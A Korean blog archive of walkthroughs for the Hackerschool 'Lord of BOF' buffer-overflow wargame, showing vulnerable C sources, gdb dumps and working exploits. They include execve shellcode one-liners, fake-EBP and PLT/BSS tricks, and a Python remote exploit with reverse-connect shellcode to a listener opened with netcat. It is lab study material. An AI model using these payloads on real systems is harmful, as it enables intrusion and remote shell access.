해커스쿨 LOB 문제풀이 최종본 pdf by ORANG

Posted by ORANG ORANG(오랑)
2014.10.22 20:29 System Hacking/해커스쿨 LOB





마무으리!!



LOB 문제풀이 by ORANG.pdf


    • 2015.02.17 20:29
    비밀댓글입니다
이 댓글을 비밀 댓글로

해커스쿨 LOB ( xavius -> death_knight ) by ORANG - 리모트어택

Posted by ORANG ORANG(오랑)
2014.10.22 20:25 System Hacking/해커스쿨 LOB

LOB_xavious


[xavius@localhost xavius]$ bash2

[xavius@localhost xavius]$ ls

death_knight  death_knight.c

[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(6666);

server_addr.sin_addr.s_addr = INADDR_ANY;

bzero(&(server_addr.sin_zero), 8);


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}


while(1) {

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}


if (!fork()){

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}


close(client_fd);

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}



bash2 띄우고, 이번엔 소켓 프로그래밍 소스가 보이네요

리모트 어택 문제인 것 같습니다.


소켓 프로그래밍에 대한 설명은 생략하겠습니다.


소스를 보니 6666포트로 접속하면 되겠네요.

buffer 크기는 40바이트인데, 클라이언트로부터 256바이트를 입력받는 부분에 오버플로가 발생합니다.


0x8048a05 <main+321>: push   $0x0

0x8048a07 <main+323>: push   $0x100

0x8048a0c <main+328>: lea    0xffffffd8(%ebp),%eax

0x8048a0f <main+331>: push   %eax

0x8048a10 <main+332>: mov    0xffffffd0(%ebp),%eax

0x8048a13 <main+335>: push   %eax

---Type <return> to continue, or q <return> to quit---

0x8048a14 <main+336>: call   0x804860c <recv>


recv(client_fd, buffer, 256, 0); 부분을 보니, buffer는 ebp-0x28에 위치하네요.

dummy는 없으므로 바로 익스플로잇을 작성해 공격해보겠습니다.



#!/usr/bin/python

from socket import *

from struct import *


p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]


#reverse_connect 10.211.55.2:4321

shellcode=\

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+\

"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a\xd3\x37\x02\x68"+\

"\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"+\

"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\

"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"


for i in range(0xFF, 0x00, -1):

for j in range(0xFF, 0x00, -1):

payload="A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*80+shellcode


print "addr : " + str(hex(up(chr(j)+chr(i)+"\xff\xbf")))


s=socket(AF_INET, SOCK_STREAM)

s.connect(("localhost", 6666))


print s.recv(52)

print s.recv(6)

s.send(payload)

s.close()



미리 만들어둔 IP 10.211.55.2, PORT 4321 에 리버스 커넥트 하는 쉘코드를 이용해

브루트 포싱을 통해 공격하였습니다. 


…생략…

You :

addr : 0xBFFFFF6BL

Death Knight : Not even death can save you from me!


You :

addr : 0xBFFFFF6AL

Death Knight : Not even death can save you from me!





ORANG@MacBook-Air:/opt/msf$

  nc -l 4321

id

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)


my-pass

euid = 520

got the life



netcat을 통해 대기중에던 10.211.55.2의 터미널에 성공적으로 연결되었네요ㅎㅎ 




LOB_death_knight 



Lord of BOF 레드햇 버전 클리어!!

이 댓글을 비밀 댓글로

해커스쿨 LOB ( nightmare -> xavius ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.22 02:08 System Hacking/해커스쿨 LOB

LOB_nightmare



[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$ ls

xavius  xavius.c

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++;

}


        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


bash2 띄우고, 이번 힌트는 arg 입니다. 저것만으론 감이 안오네요.

소스도 막막합니다. 그동안 사용해온 방법은 모두 막혀있네요.

라이브러리 함수의 호출을 막는 방법으로, 왜 저런 방법을 사용했을까 수상하네요

다른 영역의 함수호출은 마지막 바이트를 통해 막아놓고, 왜 라이브러리 영역은 

if(*(buffer+47)==\x40) exit(0); 이렇게 같은 방법으로 처리하지 않았을까..



[nightmare@localhost tmp]$ ./xavius &

[1] 8934


[1]+  Stopped                 ./xavius

[nightmare@localhost tmp]$ cd /proc/8934/

[nightmare@localhost 8934]$ cat maps

08048000-08049000 r-xp 00000000 08:06 25         /home/nightmare/tmp/xavius

08049000-0804a000 rw-p 00000000 08:06 25         /home/nightmare/tmp/xavius

40000000-40013000 r-xp 00000000 08:08 34138      /lib/ld-2.1.3.so

40013000-40014000 rw-p 00012000 08:08 34138      /lib/ld-2.1.3.so

40014000-40016000 rw-p 00000000 00:00 0

40018000-40105000 r-xp 00000000 08:08 34145      /lib/libc-2.1.3.so

40105000-40109000 rw-p 000ec000 08:08 34145      /lib/libc-2.1.3.so

40109000-4010d000 rw-p 00000000 00:00 0

bfffe000-c0000000 rwxp fffff000 00:00 0



maps를 살펴보니 \x08, \x40, \xbf 가 아니면 사용할 수 없습니다.

\x40에 답이 있는것 같습니다. \x40 이지만, leave-ret이 없는 곳으로 리턴?

leave-ret이 없어야 하니 함수 형식이 아니겠네요


소스에 쉘을 띄울 수 있는 코드가 없으니 유일한 방법은 쉘코드밖에 없는 것 같습니다.

결과적으로 함수를 사용하지 않고 쉘코드를 \x40 영역에 올릴 방법을 찾아야겠네요

\x40에 있는 함수는 사용할 수 없으므로 라이브러리 영역을 제외해야겠네요


40014000-40016000 rw-p 00000000 00:00 0

40109000-4010d000 rw-p 00000000 00:00 0


일단 gdb로 이 2개 영역을 확인해보겠습니다.


1번째 영역을 찾다보니..


(gdb)

0x40014fa0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fb0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fc0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fd0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fe0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014ff0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015020: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015030: 0x41414141 0x41414141 0x41414141 0x41414141

(gdb)

0x40015040: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015050: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015060: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015070: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015080: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015090: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150a0: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150b0: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150c0: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150d0: 0x41414141 0x41414141 0x41414141 0x41414141


buffer를 채워주기 위해 입력한 값이 보입니다.

그것도 정확히 0x40015000부터..? 뭔가 있는 것 같습니다.


일단 공격부터 해보면..


저부분에 제대로 입력이 되나 확인해보고, 리턴시켜보겠습니다.


(gdb) r

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/nightmare/tmp/./xavius

ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ

ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ



Program received signal SIGSEGV, Segmentation fault.

0x40077f72 in memcmp () from /lib/libc.so.6

(gdb) x/40x 0x40015000

0x40015000: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d

0x40015010: 0x54535251 0x58575655 0x42415a59 0x46454443

0x40015020: 0x4a494847 0x4e4d4c4b 0x5251504f 0x56555453

0x40015030: 0x5a595857 0x0000000a 0x00000000 0x00000000

0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015060: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015070: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015080: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015090: 0x00000000 0x00000000 0x00000000 0x00000000 



입력한 그대로 있는게 보이네요.

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1

\x89\xc2\xb0\x0b\xcd\x80","AAAA","\x01\x50\x01\x40"';cat) | ./xavius

1Ph//shh/binPS°

                                    ̀AAAAP@



id

uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)


my-pass

euid = 519

throw me away




strcpy 함수가 있으니 0x40015000 이 아니라 0x40015001을 사용했습니다.


눈치와 삽질로 문제를 풀긴 풀었네요ㅋㅋ 굳ㅋㅋㅋㅋ


이제 이유를 찾아보겠습니다.


0x4015000 이부분은 fgets함수가 입력을 받을 때, 임시로 저장하는 임시버퍼라고 합니다.


strace로 찾아보면..


[4000f891] munmap(0x40015000, 12210)    = 0

[400ca7fd] personality(PER_LINUX)       = 0

[400aa257] getpid()                     = 9015

[400bdc8c] fstat64(0, 0xbffff944)       = -1 ENOSYS (Function not implemented)

[400bdcd3] fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

[400c7afd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS



mmap함수로 0x40015000에 공간을 확보하고 read로 입력받는걸 볼 수 있습니다.



이 댓글을 비밀 댓글로

해커스쿨 LOB ( succubus -> nightmare ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.21 23:14 System Hacking/해커스쿨 LOB

LOB_succubus



[succubus@localhost succubus]$ bash2

[succubus@localhost succubus]$ ls

nightmare  nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


bash2 부터 띄우고, 이번 힌트는 PLT 입니다.

함수의 plt 테이블을 말하는 것 같습니다.


//dangerous waterfall

memset(buffer+40+8, ‘A’, 4) 부분을 보면 buffer+48부분을 0x41414141로 덮네요


메모리 구조는 strcpy + 0x41414141 +~~~~ 가 되겠네요


그렇다면 strcpy 함수를 이용해 0x41414141에 특정 주소를 덮어써보겠습니다. 


    

       #include <string.h>


       char *strcpy(char *dest, const char *src);



strcpy 함수는 인자로 *dest 와, *src 를 받습니다.

strcpy(4) + 0x41414141 + dest(4) + src(4) 이므로,


공유 라이브러리를 통해, 쉘코드를 실행하는 함수를 올리고

dest를 0x41414141이 존재하는 주소로 하고, src를 쉘코드를 실행 함수주소로 덮어쓰겠습니다.



[succubus@localhost tmp]$ cat ORANG.c

void ORANG(void)

{

char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";



(*(void (*)()) shellcode)();

}

[succubus@localhost tmp]$ gcc ORANG.c -fPIC -shared -o ORANG

[succubus@localhost tmp]$ export LD_PRELOAD=“/home/succubus/tmp/ORANG”


(gdb) p ORANG

$1 = {<text variable, no debug info>} 0x40015780 <ORANG>


[succubus@localhost tmp]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "BBBB", "CCCC"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Segmentation fault (core dumped) 



core dump를 분석해 정확한 주소를 찾기위해 세그먼트 폴트를 유도했습니다.



(gdb) x/40x $esp-0x40

0xbffffa18: 0xbffffa58 0x0804874b 0xbffffa60 0x00000041

0xbffffa28: 0x00000004 0x08048410 0x41414141 0x41414141

0xbffffa38: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa48: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa58: 0x4000ae60 0x41414141 0x41414141 0x42424242

0xbffffa68: 0x43434343 0x40013800 0x00000002 0x08048420

0xbffffa78: 0x00000000 0x08048441 0x080486b4 0x00000002


strcpy(4)  + 0x41414141  + dest(4)  + src(4) + &ORANG

0x8048410  + AAAA  + 0xbffffa30  + 0xbffffa6c + 0x40015780 



&ORANG 함수의 주소를 여러개 넣어주어 확실하게 공격하겠습니다.



[succubus@localhost tmp]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\x30\xfa\xff\xbf", "\x6c\xfa\xff\xbf", "\x80\x57\x01\x40"x20,"\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0lW@W@W@W@W@W

@W@W@W@W@W@W@W@W@W@W@W@W@W@W@

Segmentation fault (core dumped)


(gdb) x/40x $esp - 80

0xbffff9c4: 0xbffffa54 0xbffffa08 0x0804874b 0xbffffa10

0xbffff9d4: 0x00000041 0x00000004 0x08048410 0x41414141

0xbffff9e4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff9f4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa04: 0x41414141 0x4000ae60 0x41414141 0x41414141

0xbffffa14: 0xbffff830 0xbffff86c 0x40015780 0x40015780

0xbffffa24: 0x40015780 0x40015780 0x40015780 0x40015780

0xbffffa34: 0x40015780 0x40015780 0x40015780 0x40015780

0xbffffa44: 0x40015780 0x40015780 0x40015780 0x40015780

0xbffffa54: 0x40015780 0x40015780 0x40015780 0x40015780 


dest를 0xbffff9d4로, strc를 0xbffffa24로 변경하였습니다.


[succubus@localhost tmp]$ ./nightmare "`perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\xd4\xf9\xff\xbf", "\x24\xfa\xff\xbf", "\x80\x57\x01\x40"x20,"\x00"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$W@W@W@W@W@W@W

@W@W@W@W@W@W@W@W@W@W@W@W@W@

bash$ id

uid=517(succubus) gid=517(succubus) groups=517(succubus)

bash$ exit

exit

[succubus@localhost tmp]$ cd ..

[succubus@localhost succubus]$ ./nightmare "`perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\xd4\xf9\xff\xbf", "\x24\xfa\xff\xbf", "\x80\x57\x01\x40"x20,"\x00"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$W@W@W@W@W@W@W

@W@W@W@W@W@W@W@W@W@W@W@W@W@

Segmentation fault 



복사본에서는 공격에 성공했지만, 원본에서는 실패했습니다.

정확한 주소를 알 수 없고, 브루트포싱으로도 꽤 걸릴것같아.. 그냥 깔끔하게 포기하고 다시 풀겠습니다.


[argv0]                               [argv1]

strcpy(4) + 0x41414141 + dest(4) + src(4) &shellcode*20+shellcode


…풀이 자체는 비슷하므로 생략…



[succubus@localhost succubus]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "AAAA", "\xb8\xf9\xff\xbf", "\x5a\xfb\xff\xbf"'` `perl -e 'print "\xf8\xfb\xff\xbf"x40,"\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3

\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ

bash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

bash$ my-pass

euid = 518

beg for me 



성공은 했지만, 삽질하느라 멘붕..

다양하게 풀어보려고 했는데, 공격할때는 그냥 확률이 높은쪽으로 시도하는게 깔끔하긴 하네요.


이 댓글을 비밀 댓글로

해커스쿨 LOB ( zombie_assassin -> succubus ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.21 20:21 System Hacking/해커스쿨 LOB

LOB_zombie_assassin


[zombie_assassin@localhost zombie_assassin]$ bash2

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


bash2 띄우고 ~ 소스를 보니 도개걸윷모 윷놀이 같네요

도,개,걸,윷,모 순서대로 함수를 호출하면, system(cmd)까지 도달할 수 있습니다.

함수를 연속적으로 호출한 후, 마지막 MO함수에서는 dummy(4) 에 *cmd를 전달해줘야겠네요



(gdb) disas DO

Dump of assembler code for function DO:

0x80487ec <DO>: push   %ebp


Dump of assembler code for function GYE:

0x80487bc <GYE>: push   %ebp


(gdb) disas GUL

Dump of assembler code for function GUL:

0x804878c <GUL>: push   %ebp


(gdb) disas YUT

Dump of assembler code for function YUT:

0x804875c <YUT>: push   %ebp


(gdb) disas MO

Dump of assembler code for function MO:

0x8048724 <MO>: push   %ebp 



dummy(44) + DO + GYE + GUL + YUT + MO + dummy(4) + &”/bin/sh” 로 공격해 보겠습니다.

“/bin/sh”를 직접 넣어주고, 주소를 전달하였습니다.



[zombie_assassin@localhost zombie_assassin]$ ./succubus `perl -e'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "\x28\xfa\xff\xbf", "\x2f\x62\x69\x6e\x2f\x73\x68"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\$AAAA(/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)

bash$ my-pass

euid = 517

here to stay      

                        ̀


성공!!



이 댓글을 비밀 댓글로

해커스쿨 LOB ( assassin -> zombie_assassin ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.21 17:19 System Hacking/해커스쿨 LOB

LOB_assassin



[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ls

zombie_assassin  zombie_assassin.c

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}



bash2 띄우고~ 힌트를 보면 FEBP라 되어있네요

아마도 fake ebp 기법을 의미하는 듯 합니다.

fake ebp는 ebp의 값을 조작하고, ret를 leave-ret 의 주소로 덮어씌워주는 기법입니다.

lob에서 풀었던 FPO와 같은 원리입니다. 자세한 설명은 나중에 공격기법에 대하여 포스팅하고

간단하게 다시 설명하자면..


함수의 에필로그 과정에서 정상적인 leave-ret의 진행 부분을 보겠습니다.

(leave 과정) -> mov esp, ebp; pop ebp; 

(ret 과정) -> pop eip; jmp eip;


fake ebp 기법에서는

(leave 과정)

mov esp, ebp;

조작된 sfp 값을 pop ebp;

이때 esp 값은 ret를 가리키고 있습니다. 

(ret 과정) -> ret 주소를 leave-ret 을 가리키는 주소로 덮어씀

pop eip; jmp eip;

eip에 leave-ret이 들어가고, 점프하므로 다시 leave-ret과정이 시작됩니다.

(leave 과정)

공격자가 조작한 ebp주소로 mov esp, ebp;

pop ebp; 이제 esp는 (공격자가 조작한 주소+4)를 가리키고 있겠죠?

(ret 과정)

결과적으로 (공격자가 조작한 주소+4)에 있는 주소로 점프하게 됩니다.


전 문제랑 달라진점은 strcpy가 strncpy함수로 바뀌어, ret 이후의 메모리를 사용할 수 없네요

그리고 buffer부분을 초기화시키는 memset함수가 사라졌습니다.


gdb에서 공격시도해보며 정확한 주소를 찾고, 바로 fake ebp 공격을 하겠습니다.


(gdb) b * main+139

Breakpoint 1 at 0x80484cb

(gdb) r `perl -e 'print "A"x44,"BBBB"'`

Starting program: /home/assassin/tmp/./zombie_assassin `perl -e 'print "A"x44,"BBBB"'`


Breakpoint 1, 0x80484cb in main ()

(gdb) x/40x $ebp-48

0xbffffa48: 0xbffffbe0 0x00000030 0x41414141 0x41414141

0xbffffa58: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa68: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa78: 0x41414141 0x42424242 0x00000002 0xbffffac4

0xbffffa88: 0xbffffad0 0x40013868 0x00000002 0x08048390



공격 방법은..

“0xbffffa50”(4) + nop(11) + shellcode(25) + ”0xbffffa4c” + leave-ret주소 가 됩니다.


[assassin@localhost tmp]$ objdump -d ./zombie_assassin | grep leave -A1 

 8048311: c9                    leave

 8048312: c3                    ret


leave-ret의 주소는 0x8048311입니다.


공격해보면..


[assassin@localhost tmp]$ ./zombie_assassin `perl -e 'print "\x50\xfa\xff\xbf", "\x90"x11, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89

\xc2\xb0\x0b\xcd\x80", "\x4c\xfa\xff\xbf", "\x11\x83\x04\x08"'`

P1Ph//shh/binPS°

                                    ̀L

Segmentation fault (core dumped)


실패했습니다. core dump를 통해 정확한 주소로 다시 공격해보면..



(gdb) x/40x 0xbffffa48

0xbffffa48: 0xbffffa60 0x401081ec 0xbffffa88 0x080484dc

0xbffffa58: 0x0804857e 0xbffffa60 0xbffffa50 0x90909090

0xbffffa68: 0x90909090 0x31909090 0x2f6850c0 0x6868732f

0xbffffa78: 0x6e69622f 0x5350e389 0xc289e189 0x80cd0bb0

0xbffffa88: 0xbffffa4c 0x08048311 0x00000002 0xbffffad4

0xbffffa98: 0xbffffae0 0x40013868 0x00000002 0x08048390

0xbffffaa8: 0x00000000 0x080483b1 0x08048440 0x00000002



“0xbffffa68”(4) + nop(11) + shellcode(25) + ”0xbffffa5c” +”0x8048311”


[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\x68\xfa\xff\xbf", "\x90"x11, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x5c\xfa\xff\xbf", "\x11\x83\x04\x08"'`

h1Ph//shh/binPS°

                                    ̀\

bash$

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$ my-pass

euid = 516

no place to hide  



성공!!

이 댓글을 비밀 댓글로

해커스쿨 LOB ( giant -> assassin ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.21 16:36 System Hacking/해커스쿨 LOB

LOB_giant



[giant@localhost giant]$ bash2

[giant@localhost giant]$ ls

assassin  assassin.c

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}



bash2 띄우고, 힌트를 보니 이번에는 no stack, no RTL 입니다.

buffer와 sfp도 초기화시켜버리네요.


환경변수에 쉘코드를 올려두고,

strcpy@plt 를 이용해서 bss에 쉘코드를 써주고, bss 주소로 리턴시키겠습니다.


dummy(44) + strcpy + bss + bss + &shellcode  가 되겠네요ㅎㅎ



[giant@localhost tmp]$ objdump -h ./assassin | grep bss 

20 .bss          00000018  080496a0  080496a0  000006a0  2**2

 


bss의 주소



 0x80483a8 <strcpy> 


strcpy@plt 의 주소


[giant@localhost tmp]$ export ORANG=`perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68

\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[giant@localhost tmp]$ echo $ORANG

11̀É1F̀1Ph//shh/binPS°

                                                  ̀

[giant@localhost tmp]$ ./getenv

0xbffffe1f


(gdb) x/40s 0xbffffe1f - 400

…생략…

0xbffffca1:  "ORANG=", '\220' <repeats 20 times>, "11\200\211\2111F\2001Ph//shh/bin\211PS\211\211°\013\200"

(gdb) x/s 0xbffffca7

0xbffffca7:  '\220' <repeats 20 times>, “11\200\211\2111F\2001Ph//shh/bin\211PS\211\211°\013\200”


쉘코드는 0xbffffca7에 위치


[giant@localhost tmp]$ ./assassin `perl -e 'print "A"x44, "\xa8\x83\x04\x08", "\xc0\x96\x04\x08","\xc0\x96\x04\x08","\xa7\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)


주소 오차로 인해 공격에 실패했습니다. core dump를 분석해보면..


(gdb) x/x 0xbffffe1b

0xbffffe1b: 0x90909090


쉘코드의 정확한 위치는 0xbffff1b가 되겠네요. 공격해보면..



[giant@localhost giant]$ ./assassin `perl -e 'print "A"x44, "\xa8\x83\x04\x08", "\xc0\x96\x04\x08","\xc0\x96\x04\x08","\x1b\xfe\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bash$ id

uid=515(assassin) gid=514(giant) egid=515(assassin) groups=514(giant)

bash$ my-pass

euid = 515

pushing me away 



는 성공!!



이 댓글을 비밀 댓글로

해커스쿨 LOB ( bugbear -> giant ) by ORANG - 브루트포싱

Posted by ORANG ORANG(오랑)
2014.10.21 15:55 System Hacking/해커스쿨 LOB

